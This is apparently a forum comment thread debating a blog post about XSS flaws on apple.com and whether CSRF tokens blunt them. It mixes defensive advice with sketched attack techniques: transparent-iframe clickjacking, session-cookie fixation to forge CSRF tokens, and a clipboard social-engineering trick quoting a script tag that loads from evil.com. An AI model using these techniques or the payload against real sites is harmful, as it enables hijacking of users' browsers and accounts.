10x XSS on apple.com
nilsjuenemann.de
nilsjuenemann.de
A cross-site scripting issue was addressed. We would like to acknowledge "some stupid nerd" for reporting this issue."
Made me smile.
Nearly every large corporation is similar in this regard.
If you have to enter bogus form input and make it to step 3, then while it technically is still XSS, it's not useful as an attack vector.
The others where an arbitrary user can be exploited by following a simple link (think I saw 2-3 of these) are real. CSRF protection won't help you there, since once I have JS running on your page I can insert iFrames or use XMLHTTP and read the CSRF tokens myself.
Before coming to a conclusion that you can point to and say someone is wrong, please understand that not everyone here is a master of English.
The assumption is if you can cause an alert to display, you can (probably) run AJAX requests and actually get some data/do some damage.
No, it doesn't.
CSRF makes perfect sense when there is data on the server that is being modified by a request. A simple "search.php?query=…" doesn't need CSRF protection.
If you're passing parameters that modify the server in the URL (instead of a part of the post data) you're using HTTP wrong and adding CSRF protection in the query string is the wrong solution.
I certainly agree that using GET for changing server state would be wrong. I don't know if any of the examples in the article work that way, since all we're provided with is a screenshot with an alert box. That's demonstrated sloppiness on Apple's web site, but not enough information to demonstrate vulnerability.
(I'm definitely voting up your reply for intelligent discussion.)
XSS can propagate to other users via database rather than HTTP requests.
In general, you should prevent attacks in one-by-one manner. Hoping that one security mechanism will accidentally fix other issues will result in design that is insecure, convoluted and hard to reason about. Remember: you have to prevent all attacks. Attackers only need to find one vulnerability to attack. Therefore, any kind of complexity in design works to their advantage.
I am not hoping that CSRF prevention will make everything OK on the Apple website (which I have no affiliation with, by the way). Nor am I saying XSS prevention is not worthwhile. I'm merely pointing out that this blog post is not demonstrating 11 vulnerabilities in Apple's web site. There might actually be 11 vulnerabilities, but the blog post doesn't give enough information for us to know.
An example of a defense in depth strategy:
Layer 1: Customer runs a WAF (web app firewall) to do some CSRF and XSS mitigation
Layer 2: App contains its own intrusion detection system that preprocesses all requests for "typical" SQL injection, CSRF and XSS attacks and prevents the rest of the code from executing if this is the case. I'm using PHP-IDS for this.
Layer 3: every request to the server must submit an anti-CSRF token and is immediately refused if it does not do so.
Layer 4: Business logic contains its own positive input validation (all input must be in the expected format), and prevents the rest of the code from executing if the input is not valid. This is meant to prevent XSS and SQL injection when data enters the system.
Layer 5: all DB requests use parameters instead of concatenating variables into queries to mitigate the risk of SQL injection.
Layer 6: All output is encoded to prevent XSS attacks when data leaves the system.
In such a solution you can have a security issue in one of the layers and still have a system that is secure.
http://mobile.eweek.com/c/a/Security/Hackers-Hit-Apacheorg-C...
Also, if you want to learn more about avoiding these issues, OWASP is one of the best sources out there.
And as soon as you can get someone to execute arbitrary JS on a particular domain, any CSRF protection will be useless because you practically control their browser. (You can even literally control their browser, if you use BeEF http://www.bindshell.net/tools/beef.html )
You can even completely hide the XSS happening by loading it into an invisible IFRAME, while the main page keeps the victim's attention occupied by playing the promised video of a cute kitten playing with a ball of string.
CSRF is not a prereq in general, but it is a prereq for the attacks tripzilch listed.
Here's a simple little page that is vulnerable to XSS but not to CSRF:
http://brlewis.com/demo/xss-csrf.html
It works by GET or POST, so it should only take you a minute to craft a link that you can post right here in HN that makes that page pop an alert up in my browser.
It can still be done, however. But it'll take more than a few minutes, because I have only read about and played with PoCs of the relevant attacks, never implemented one like that myself.
One approach is "clickjacking". It involves putting your page in an IFRAME that is 100% alpha transparent, in a containing page. This is positioned over an image that says "CLICK TO PLAY" (or something) in such a way that the (invisible) button on your page aligns with the image. When you click the image, you're actually clicking the button on your site. Javascript in the containing page monitors when this happens and when it does, it can read the CSRF token from the URL that the IFRAME now points to. Once it knows the token, the XSS attack is straightforward.
Now this only works because your form submits the CSRF token via a GET request, so I can read it from the URL. If your form would only accept a POST request, I'm not entirely sure of how I'd do it. I need to think about that for a little while longer, it's an interesting challenge, though. There are some (IMO) far-fetched clickjacking-like attacks that require some social engineering (of the containing page) to get the user to perform certain actions that could do it. One way is to wrap a viewsource: URL to your page in an IFRAME (only works in Firefox, afaik) and position and dress it up so that only the CSRF token is visible and it looks like a CAPTCHA. The user would enter the CAPTCHA/CSRF and then XSS is possible. But that's not very elegant, and I'm not entirely sure if Firefox still allows doing this. Also it's not guaranteed to succeed if the user can't be bothered to enter a CAPTCHA to see the cute kitten video.
So in that case I'm not sure. One surefire way to prevent these and related clickjacking-style attacks is to put some framebusting JS code in your site. Twitter does this to prevent clickjacking to autosubmit a those pre-filled tweet form. Check their sourcecode, the way they do it is pretty thorough (even taking into account race conditions that might cause the submit click to go through just before the frame is busted).
I'm going to have to think about this for a while (how to do it if it were a POST form, that is. I'm fairly sure I could get the GET variant to work easily--I hope you could follow that example). The way you put a CSRF token in that form definitely makes it non-trivial, though.
(BTW for anyone else to attempt a shot at this: the CSRF token is not actually the same value every time, but random generated and fixed with the session cookie, so clear your cookies before you try your brilliant exploit)
However, a variant of the later attack you describe would work. You could get the user to click on a flash app on your page, which copies <script src="http://evil.com/script.js /> to your clipboard, then "click on the box below and press ctrl-v, then enter.". The box below would of course be the one on the XSSable page, and when the user hit enter, it would submit the form and load up the second page, XSSing the user.
This sounds far-fetched, but I've seen successful attacks like this in the wild.
Ok--I wondered about that. But I figured BeEF has that capability so it must be possible somehow. At least, as far as I understand BeEF loads the page in a fullscreen IFRAME controlling the browser from the containing page. Guess I was wrong.
No other way to pull it off? Cause the token is right there in the URL, it's gotta be leaked somewhere ... :-)
It also looks like BeEF is running on your local machine, so they could presumably do whatever they want to bypass the browser's security model.
Of course, this is kind of cheating - I exploit the fact that there's a CSRF bug on your web site. But that's kind of the point - just saying "oh well this is an XSS but it doesn't matter because this other unrelated thing prevents it" is bad security. It's entirely possible, even likely, that someone will come along at a later date and change that other seemingly-unrelated thing, having no idea that they're introducing a security hole in the process.
To be clear, "oh well this is an XSS but it doesn't matter" is not something I ever said. I only ever said that most of the screenshots in the article don't by themselves demonstrate a vulnerability on Apple's web sites.
EDIT 2: There was another demo on my server that let you set arbitrary cookies. This exploit relied on setting the JSESSIONID cookie. If a similar exploit existed on Apple's web site, presumably this would defeat the purpose of the exploit, since the target user would no longer be authenticated as him/herself. I changed the cookie demo not to allow arbitrary cookie names, just to prevent it interfering with other demos.
Security is hard, let's go shopping!
So first I had it hit that endpoint, setting the JSESSIONID cookie to my value (off of which the csrf token is keyed). Then I had it redirect to an xss'd page with my csrf token, which it would see as valid because it matched the (forced) JSESSIONID.
True, they may require some clever hacking to really exploit.
But experience has shown me that (way) more often than not, even though an XSS might not be directly exploitable, there will be further (perhaps not so critical) security problems that will lead to an exploit, given an at-first-sight-not-so-exploitable XSS.
So it's always a better idea to make sure the XSS is not there in the first place, because if someone figures out a way to leverage it, they'll have full control over a visitor's browser on that domain.
Maybe the innocent flaw that allows the exploit isn't even there yet at first, but gets added accidentally with later development. It's still the XSS that is the most critical problem.
When I wrote my first comment, this story was at the top of the front page. A story about 10 demonstrated vulnerabilities on Apple's web sites would belong there. A story about 2 demonstrated vulnerabilities and 8 instances of sloppiness that might be vulnerabilities but we don't know without more information -- that's not really a top-of-the-front-page story.
Hey brlewis, even though we haven't managed to (completely/reliably) crack your CSRF example YET ... I hope you agree that it's better to not have an XSS in the first place rather than rely on CSRF to make it (way) more difficult, right?